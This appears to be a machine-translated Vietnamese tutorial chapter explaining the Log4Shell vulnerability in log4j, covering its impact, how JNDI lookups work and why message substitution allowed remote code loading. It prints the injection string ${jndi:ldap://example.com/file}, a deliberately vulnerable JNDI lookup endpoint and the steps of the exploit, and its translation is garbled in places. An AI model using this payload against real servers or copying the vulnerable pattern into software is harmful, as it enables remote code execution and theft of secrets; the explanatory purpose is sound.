7.1 vụ bê bối

Và tất nhiên, không thể không kể về câu chuyện xảy ra khá gần đây - vào cuối năm 2021.

Nhật ký4Shell

Cơ quan bảo vệ cơ sở hạ tầng và an ninh mạng Hoa Kỳ (CISA) cho biết vấn đề này Log4Shelllà một trong những lỗ hổng nghiêm trọng nhất trong lịch sử. Vâng, chúng tôi đang nói về thư viện yêu thích của chúng tôi log4j.

Thư viện nhỏ ấm cúng của chúng tôi log4j và lỗ hổng lớn nhất trong lịch sử ? Có mưu đồ? Sau đó lắng nghe.

7.2 Quy mô của thảm họa

Việc phát hiện ra một lỗ hổng nghiêm trọng Log4Shell(mã CVE-2021-44228) đã được các chuyên gia bảo mật của Lunasec công bố vào ngày 9 tháng 12 năm 2021. Các chuyên gia từ cộng đồng Java của Nhóm bảo mật Apache đã xác minh thông tin này và công bố danh sách các thư viện Java dễ bị tấn công. Danh sách này rất lớn.

Nếu một dự án Java sử dụng một thư viện log4j, thì nó có thể bị tấn công khá dễ dàng. Và do hầu hết tất cả phần mềm máy chủ được viết bằng trình ghi nhật ký java phổ biến Javanhất log4j, theo các chuyên gia bảo mật, lỗ hổng này đã ảnh hưởng đến 93% môi trường đám mây của công ty. Bao gồm những thứ như Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam và nhiều hơn nữa

Hơn nữa, lỗ hổng không chỉ ảnh hưởng đến phần mềm máy chủ mà còn nhiều ứng dụng Java cũng như các nhà sản xuất phần cứng. Ví dụ: Intel đã công bố danh sách 32 chương trình có thể hack: SDK, hệ thống bảo trì máy chủ, công cụ Linux.

Nvidia cũng đã đăng một báo cáo về vấn đề bảo mật đề cập đến các máy chủ DGX và các công cụ NetQ. Một số bản cập nhật đã được Apple và Microsoft khẩn trương phát hành.

Nói một cách đại khái, một dòng trong thanh địa chỉ của trình duyệt của học sinh sẽ đặt máy chủ nếu dòng này bị trình ghi nhật ký ăn (trên nhiều máy chủ, mọi thứ đều được ghi lại HTTP-requests).

Sau khi phân tích mã, hóa ra lỗ hổng này đã tồn tại trong thư viện từ năm 2013, nhưng đến bây giờ họ mới nhận ra. Và khi họ bắt đầu đào sâu hơn, họ phát hiện ra một vực thẳm, không thể nhìn thấy đáy.

7.3 Lỗ hổng nghiêm trọng nhất trong lịch sử

Trở lại vào tháng 12 năm 2021, Cơ quan bảo vệ cơ sở hạ tầng và an ninh mạng Hoa Kỳ (CISA) tuyên bố rằng Log4Shellđây là một trong những lỗ hổng nghiêm trọng nhất trong lịch sử .

Nhiều chuyên gia khác bày tỏ quan điểm tương tự . Mọi người đều biết về lỗ hổng này và tin tặc ở mọi lứa tuổi đã sử dụng lỗ hổng này để đánh cắp dữ liệu cá nhân và các kiểu tấn công khác vào các tổ chức khác nhau. Trong tương lai, chúng ta đang chờ đợi một làn sóng tấn công và rò rỉ dữ liệu lớn.

Quy mô của thảm họa thậm chí có thể được đánh giá bằng thực tế là có một trang web riêng với các meme về Log4j và mỗi ngày đều có những bức ảnh mới.

Vấn đề này đã xảy ra với chúng tôi trong một thời gian dài. Một lỗ hổng bảo mật trong hàng triệu nếu không muốn nói là hàng trăm triệu hệ thống máy tính. Tất cả phần mềm cũ cần được cập nhật và ít nhất là thay thế thư viện này ở đó. Nhưng trong hầu hết các trường hợp, thậm chí không ai biết thư viện nào và phiên bản nào được sử dụng trong phần mềm của họ.

Nói chung, chúng tôi mong đợi mức lương của các chuyên gia bảo mật máy tính sẽ tăng mạnh.

7.4 Bản chất của tình trạng dễ bị tổn thương

Để hiểu bản chất của lỗ hổng, bạn cần hiểu hệ thống máy chủ lớn được sắp xếp như thế nào. Thông thường, các ứng dụng máy chủ như vậy được chia thành các dịch vụ khác nhau được đặt trên các máy chủ khác nhau. Và dịch vụ JNDI giúp họ tương tác.

Giao diện thư mục và đặt tên Java (JNDI)Java APItra cứu các đối tượng/dịch vụ theo tên. Các đối tượng này có thể được lưu trữ trong các dịch vụ hoặc thư mục đặt tên khác nhau, chẳng hạn như Gọi phương thức từ xa (RMI), Kiến trúc nhà môi giới yêu cầu đối tượng chung (CORBA), Giao thức truy cập thư mục hạng nhẹ (LDAP) hoặc Dịch vụ tên miền (DNS).

Làm việc với nó rất đơn giản - nó đơn giản Java APIchỉ lấy một tham số chuỗi - tên của dịch vụ. Với nó, bạn có thể liên hệ với bất kỳ dịch vụ nào và yêu cầu anh ta làm điều gì đó và / hoặc gửi một số dữ liệu. Ví dụ: string ${jndi:ldap://example.com/file}sẽ tải dữ liệu từ this URLđược chỉ định trong chuỗi.

Nếu tham số đến từ một nguồn không đáng tin cậy, nó có thể dẫn đến việc tải lớp từ xa và thực thi mã của bên thứ ba . Điều gì xảy ra trong trường hợp của Log4j. Kẻ tấn công chỉ cần hướng ứng dụng Java của nạn nhân đến ứng dụng độc hại rmi/ldap/corba-servervà nhận được một đối tượng độc hại để đáp lại.

Về mặt kỹ thuật, vấn đề ở đây không nằm ở log4jchính thư viện mà nằm ở cài đặt bảo mật khi làm việc với JNDI-service. Bạn luôn cần kiểm tra loại chuỗi nào chúng tôi chuyển đến InitialContext.lookup().

Ví dụ dễ bị tổn thương JNDI-applications:

@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 Thư viện quá thông minh

log4jbạn hỏi ở đâu? Vấn đề là các nhà phát triển của nó muốn làm việc với nó thoải mái nhất có thể và đã thêm tính năng ghi nhật ký thông minh vào nó. Đây là cách nó hoạt động:

Tất cả bắt đầu với thực tế là các thông báo nhật ký cho phép bạn đặt một mẫu nơi dữ liệu được thay thế, ví dụ:


log.debug(“User {user} has {count} friends”, user, count);

Phiên bản cũ không thay thế dữ liệu trông như thế này:


log.debug( “User “+user +” has “+ count +” friends”);

Vào năm 2013, việc thay thế các tiền tố thông minh được chỉ định bởi mẫu chế độ xem cũng đã được thêm vào thư viện ${prefix:name}. Ví dụ: chuỗi “${java:version}”sẽ được chuyển đổi thành «Java version 1.7.0_67». Ôi tiện lợi làm sao.

Trong số các biểu thức được công nhận là ${jndi:<lookup>}nơi sau giao thức jndi, bạn có thể chỉ định tìm kiếm thông qua LDAP: tùy ý URL-addresscó thể được truy vấn và tải dưới dạng dữ liệu đối tượng Java.

Đây là một vấn đề tiêu chuẩn của toàn bộ cách tiếp cận JDK: nó tự động giải tuần tự hóa một đối tượng, một liên kết có thể được đặt ở dạng url. Trong trường hợp này, không chỉ dữ liệu của đối tượng được tải từ tài nguyên từ xa mà còn cả mã của lớp đối tượng.

Bản hack trông như thế này:

  • Tải xuống tệp chứa mã độc
  • Tệp chứa tuần tự hóa Java an object(và lớp của nó)
  • Lớp đang tảiJava-machine
  • Một đối tượng của một lớp độc hại được tạo ra
  • Hàm tạo của đối tượng được gọi
  • Cả hàm khởi tạo và khởi tạo tĩnh đều cho phép mã lớp độc hại được thực thi

log4jNếu có gì đó giống như trong dòng đang được đăng nhập ${jndi:ldap://example.com/file}, thì log4jnó sẽ tải xuống dữ liệu từ dòng này URL-addresskhi kết nối với Internet . Bằng cách nhập một chuỗi đã được ghi nhật ký, kẻ tấn công có thể tải xuống và thực thi mã độc hại được lưu trữ trên một tệp URL-address.

Ngay cả khi việc thực thi dữ liệu bị vô hiệu hóa, kẻ tấn công vẫn có thể lấy được dữ liệu, chẳng hạn như các biến môi trường bí mật, bằng cách đặt dữ liệu đó vào URL-address, dữ liệu này sẽ thay thế và gửi dữ liệu đó đến máy chủ của kẻ tấn công.

Tin tốt là vấn đề đã được khắc phục nhanh chóng trong thư viện .

Tin xấu là hàng triệu máy chủ trên khắp thế giới vẫn đang chạy phiên bản cũ của thư viện này ...